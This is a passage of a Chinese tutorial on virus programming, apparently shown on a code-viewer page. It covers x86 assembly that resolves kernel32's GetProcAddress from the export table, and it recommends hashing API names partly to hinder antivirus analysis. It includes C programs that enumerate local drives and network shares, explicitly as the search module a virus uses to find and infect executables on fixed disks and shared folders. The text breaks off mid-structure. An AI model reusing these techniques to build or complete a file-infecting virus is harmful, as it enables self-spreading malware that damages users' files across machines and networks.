📄 病毒编程技术.txt
字号:
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4] ;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
在前面解析导出函数表获取API地址的时候,采用的是直接比较字符串的方法判断是不是找到了相应的API,其实还可以计算函数名字的hash,然后同预计算的hash进行比对,现代的PE病毒更多采用的hash的方法,其原因在于一般的函数名字长度都大于4字节,而用hash只要占用4个字节或2个字节,可以节省空间,此外还有抗病毒分析的作用,因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可,可以用crc等成熟算法,也可以设计自己的简单算法。在Elkern中就使用了crc16算法。
* 文件搜索
文件搜索是病毒的重要功能模块之一,也是实现感染和传播的关键。现代Windows和各种移动介质的文件系统可能采用多种复杂格式,因此象一些Dos病毒一样试图直接存取文件系统(读写扇区)是不大现实的。通常利用Win32 API的FindFirstFile和FindNextFile来实当前目录下所有目录和文件的搜索,通过判断搜索到的文件属性,可区分是否为目录或可执行文件,对于可执行文件则根据预先设计好的感染策略进行感染;对于当前目录下的所有子目录以及特殊的..父目录,可以使用递归或非递归的方式利用上述两个API全部进行遍历,因此从某个驱动器或网络共享文件夹的任意一个子目录开始,都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地,搜索文件从驱动器或共享文件夹的根目录开始,那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢?对于前一个问题,我们知道Windows下可划分A:~Z:共26个逻辑盘符,因此可以从A:开始递增搜索所有的驱动器,使用Win32 API GetDriveType判断当前搜索的盘符是否存在,以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱动器。由于汇编语言在表述算法时显得过于冗长,因此算法部分使用C语言描述,当然将C算法转换成汇编语言是很简单的过程。
下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性:
#include
#include
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
char DriveName[MAX_DRIVENAME_LENGTH];
char *p;
unsigned int drv_attr;
p = DriveName;
strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
for(;*p<'Z';++*p) {
drv_attr = GetDriveType(p);
switch(drv_attr)
{
case DRIVE_UNKNOWN: // 未知类型
printf("drive %s type %s\n",p,"DRIVE_UNKNOWN");break;
case DRIVE_NO_ROOT_DIR: // 该驱动器不存在
printf("drive %s type %s\n",p,"DRIVE_NO_ROOT_DIR");break;
case DRIVE_REMOVABLE: // 可移动盘,软盘或U盘或移动硬盘等
printf("drive %s type %s\n",p,"DRIVE_REMOVABLE");break;
case DRIVE_FIXED: // 固定硬盘
printf("drive %s type %s\n",p,"DRIVE_FIXED");break;
case DRIVE_REMOTE: // 一般是映射网络驱动器
printf("drive %s type %s\n",p,"DRIVE_REMOTE");break;
case DRIVE_CDROM: // 光盘
printf("drive %s type %s\n",p,"DRIVE_CDROM");break;
case DRIVE_RAMDISK: // RAM DISK
printf("drive %s type %s\n",p,"DRIVE_RAMDISK");break;
}
}
}
与仅仅显示一条信息不同的是,病毒此时将调用文件枚举函数(如后面给出的enum_path函数)从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件,根据预定义策略进行文件感染。
网络共享资源也是按树状组织的,非叶节点称为容器(container),对容器需要进一步搜索直到到达叶子节点为止,叶子节点才是共享资源的根路径。共享资源一般分成两种:共享打印设备和共享文件夹。对于网络共享文件的搜索,采用WNetOpenEnum和WNetEnumResource(由mpr.dll导出)进行递归枚举。其函数原型及参数含义请参阅MSDN,使用如下代码enumshare.cpp将显示所有的网络驱动器共享文件夹的路径:
#include
#include
#pragma comment(lib,"mpr.lib")
int enum_netshare(LPNETRESOURCE lpnr);
void __cdecl main(int argc,char *argv[])
{
enum_netshare(0);
}
int enum_netshare(LPNETRESOURCE lpnr)
{
DWORD r, rEnum,usage;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCE lpnrLocal; // NETRESOURCE数组结构的指针
DWORD i;
r = WNetOpenEnum(RESOURCE_GLOBALNET, // 范围:所有网络资源
RESOURCETYPE_DISK,// 类型:仅枚举可存储介质
RESOURCEUSAGE_ALL,// 使用状态:所有
lpnr, // 初次调用时为NULL
&hEnum); // 成功后返回的网络资源句柄
if (r != NO_ERROR) {
printf("WNetOpenEnum error....\n");
return FALSE;
}
lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
if (lpnrLocal == NULL)
return FALSE;
do
{
ZeroMemory(lpnrLocal, cbBuffer);
rEnum = WNetEnumResource(hEnum,
&cEntries, // 返回尽可能多的结果
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer大小
if (rEnum == NO_ERROR) {
for(i = 0; i < cEntries; i++) {
usage = lpnrLocal[i].dwUsage;
if(usage & RESOURCEUSAGE_CONTAINER) {
if(!enum_netshare(&lpnrLocal[i]))
printf("Errors detected in enum process...\n");
}else{
// 这里病毒可调用遍历函数遍历该共享文件夹下的所有文件
// enum_path(lpnrLocal[i].lpRemoteName);
printf("find %s --> %s\n",lpnrLocal[i].lpLocalName,
lpnrLocal[i].lpRemoteName);
}
}
}else if (rEnum != ERROR_NO_MORE_ITEMS) {
printf("WNetEnumResource error...\n");
break;
}
}while(rEnum != ERROR_NO_MORE_ITEMS);
free((void*)lpnrLocal);
r = WNetCloseEnum(hEnum);
if(r != NO_ERROR) {
printf("WNetCloseEnum error....\n");
return FALSE;
}
return TRUE;
}
遍历开始时WNetOpenEnum第4形参为0,在发现共享容器进行递归调用时候,该参数将为共享容器的NETRESOURCE结构指针。从NETRESOURCE结构中可以找到我们感兴趣的lpRemoteName,该指针不为0则表示是有效的共享容器或共享文件夹。
typedef struct _NETRESOURCE {
DWORD dwScope;
DWORD dwType;
DWORD dwDisplayType;
DWORD dwUsage;
LPTSTR lpLocalName;
LPTSTR lpRemoteName;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -